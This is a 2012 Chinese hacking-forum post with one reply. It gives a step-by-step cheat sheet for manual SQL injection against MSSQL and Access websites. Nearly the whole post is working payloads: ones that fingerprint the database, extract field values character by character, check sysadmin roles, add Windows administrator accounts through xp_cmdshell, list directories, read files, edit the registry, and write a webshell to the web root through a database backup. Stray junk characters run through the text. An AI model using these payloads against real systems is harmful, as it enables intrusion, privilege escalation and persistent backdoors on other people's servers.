找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2492|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
( h& ~1 x: u; r  I6 k3 H1.判断是否有注入;and 1=1 ;and 1=2
: }  w9 _; s% h
; Y6 n% l% {0 F2.初步判断是否是mssql ;and user>0 : d+ B/ p) C0 J! s4 r

6 _8 {: U0 f0 P" L% o: f6 A3.注入参数是字符'and [查询条件] and ''='
4 D" c8 f  u6 z& v7 J
9 A" A" ~- n! y* b* f5 f* A7 q! y8 F4.搜索时没过滤参数的'and [查询条件] and '%25'='   S$ ]$ }9 l7 P7 ~( ^$ B
/ b9 t7 {" I& `/ }/ A# Z
5.判断数据库系统
% y" h! O0 n0 }9 F# R0 D+ b;and (select count(*) from sysobjects)>0 mssql $ x3 Y+ r( h4 N# v. V* M
;and (select count(*) from msysobjects)>0 access 8 P& ]: O/ q/ b- b# v

$ v  _+ V, O, Q; @6.猜数据库 ;and (select Count(*) from [数据库名])>0
9 c) h# [. t4 Z5 B; F
4 X$ ^/ M& Q" s: C7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3 k$ f  s" Y' p
0 c6 U. u# W6 g$ u9 _2 [
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4 [* ^( g$ v$ R, T# \" P
, Q% t6 l+ z4 N( t- ]+ Q
9.(1)猜字段的ascii值(access)
3 _+ C+ A) L5 w/ |( a8 G1 n2 i& q;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
  b/ g! U) ~$ |6 B2 U
, {" V# N+ a* q4 A(2)猜字段的ascii值(mssql) ) l' H% _! {4 Q; h" D4 g. w. j$ }) Y% i
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
( h# u& [* t) k+ @
4 f5 E/ h6 {& X- F7 a10.测试权限结构(mssql)
/ J- s1 Q" K+ H" B8 z' \;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
. j/ m0 e7 n2 x! y8 v;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
* O  S4 o7 p/ D8 [$ t4 o+ S;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
. @6 u2 V  ?+ I. w( x;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- , t# g% s/ w) a( g4 X! P/ q
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
; G+ D' v  \6 {( n0 Y' x8 _;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
. U+ {! c/ D9 \  i: \- `- n; [;and 1=(select IS_MEMBER('db_owner'));-- / X/ S0 Z* q7 j+ }

1 q8 T5 d$ B5 W  I: `, Z4 C6 {11.添加mssql和系统的帐户 0 m: r' g  O( `3 e
;exec master.dbo.sp_addlogin username;-- " }, i& z. L, U, I, H

' ~2 o! m- W5 P7 t% I, q+ O/ [;exec master.dbo.sp_password null,username,password;--
( T( T5 v* ^4 r1 _3 j, F: }/ i8 J
9 Y7 E/ I  Y: T4 |' L;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 c3 d) @) o7 B! P% j! h% d+ Z
8 @2 N# P! h- [: A
;exec master.dbo.xp_cmdshell 'net user username password / ^7 ?, Y- U) A$ \! g& x
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- % L4 @; s5 l1 z( c' F5 q# B
1 d* M" I$ V3 _; i0 @
;exec master.dbo.xp_cmdshell 'net user username password /add';--
( y+ f2 \+ F/ @, V' G- @6 T/ q8 _( ~# N6 S7 U
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) w% @; m) D$ ]8 I
' [" l+ v9 [2 C) k* i12.(1)遍历目录
. j% B' w9 S, j2 g( _
, f2 d2 w" p" L  g' S; x;create table dirs(paths varchar(100), id int)
# u& H6 ?/ s; {! a;insert dirs exec master.dbo.xp_dirtree 'c:\' 0 Y2 o  m( @7 |* v% W
;and (select top 1 paths from dirs)>0 4 t7 k& r# o( Z- g' \
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / y! S) s4 ^; J% N6 |
$ ^, u% ?; x. R1 c, s- Q. q7 u$ ?
(2)遍历目录 , x& o  p, _% G# z5 E7 m7 [& B  e
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ' i/ u" S3 v& N" Z6 ?% t
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
8 g  y5 @! g# k. M) T;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
8 X" V6 D- s) M( P+ t0 p* r. v. t# Y;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构   g! n$ w8 H% D+ {3 ~
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
- C$ r1 J" A0 R+ s/ n4 [; P9 u7 ~; _' I8 }( J  X7 `
13.mssql中的存储过程
$ |& W* t  N; \8 g
5 _( h  w- }, w, \7 n3 `- b* s( ^xp_regenumvalues 注册表根键, 子键 2 D4 w) A6 T1 ]; t$ T
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $ |4 B6 ~1 L2 m) J1 G  }

* x% C5 D. |% P% ixp_regread 根键,子键,键值名 ( m$ e" t: v0 ~. b9 I7 ~
;exec xp_regread 7 {* x$ ^# M' c4 r8 [6 A
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
5 W, H  F2 `* L+ e4 u& w/ x6 V+ {( W8 F8 F+ Q" F
xp_regwrite 根键,子键, 值名, 值类型, 值
/ p& f+ d5 g* k6 C! D+ Y值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
3 N% ~; p7 {1 J) Q;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
3 @- y+ h  w/ r$ z0 @2 c/ C" k+ Y+ S. ~) f
8 ?/ P$ I2 V5 |& nxp_regdeletevalue 根键,子键,值名
" s: {6 `" A7 T  [; r
+ S4 c; i; a) U9 X+ T6 z2 v# V+ dexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
: o7 V  o) [; c0 G/ p2 c9 l) Y
" y( n/ G: u2 M# C# T  }1 qxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
: l! H; N8 L) R" I: Z+ @  _$ e5 C/ [0 L8 X
14.mssql的backup创建webshell
0 W) w/ E' H  _# tuse model ; i, J1 [; \2 I' ?- g5 q
create table cmd(str image); & h7 |6 H4 B2 \4 L, ~8 D6 E1 }4 ^
insert into cmd(str) values (''); 1 n& Y) v3 v, C2 a) R9 F
backup database model to disk='c:\l.asp';
; a5 o3 {9 ~, Z% F1 b- C& k7 q3 x  }& w4 |
15.mssql内置函数 $ T& z' y! n, G; h) c/ [4 u
;and (select @@version)>0 获得Windows的版本号 . Y. v( K  ?8 }! @
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
" u7 f( f2 D0 _, I( L7 P7 n# H/ s;and (select user_name())>0 爆当前系统的连接用户 7 n" N/ o* D3 x( K' K4 `' i
;and (select db_name())>0 得到当前连接的数据库
( p& w% m& l6 x7 g6 W- r) I* ?  i' X6 L
16.简洁的webshell
1 A. e4 v2 }3 g5 ]( I8 s$ ^8 Q/ h, T4 A' j7 c$ A5 C7 D
use model 1 ]' H* G* `% m& }5 O

7 [1 y8 s( ?. H" e, x9 Bcreate table cmd(str image);
/ t: r  k/ D4 A- q) g
6 }( g- I& d- t5 O) vinsert into cmd(str) values ('');
1 J8 \& s! `! @. g- ~! q$ y" C. d6 o0 X
backup database model to disk='g:\wwwtest\l.asp'; + p' T6 Q1 o7 N" N" [/ {

4 r! x) w+ a- \4 p% S
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表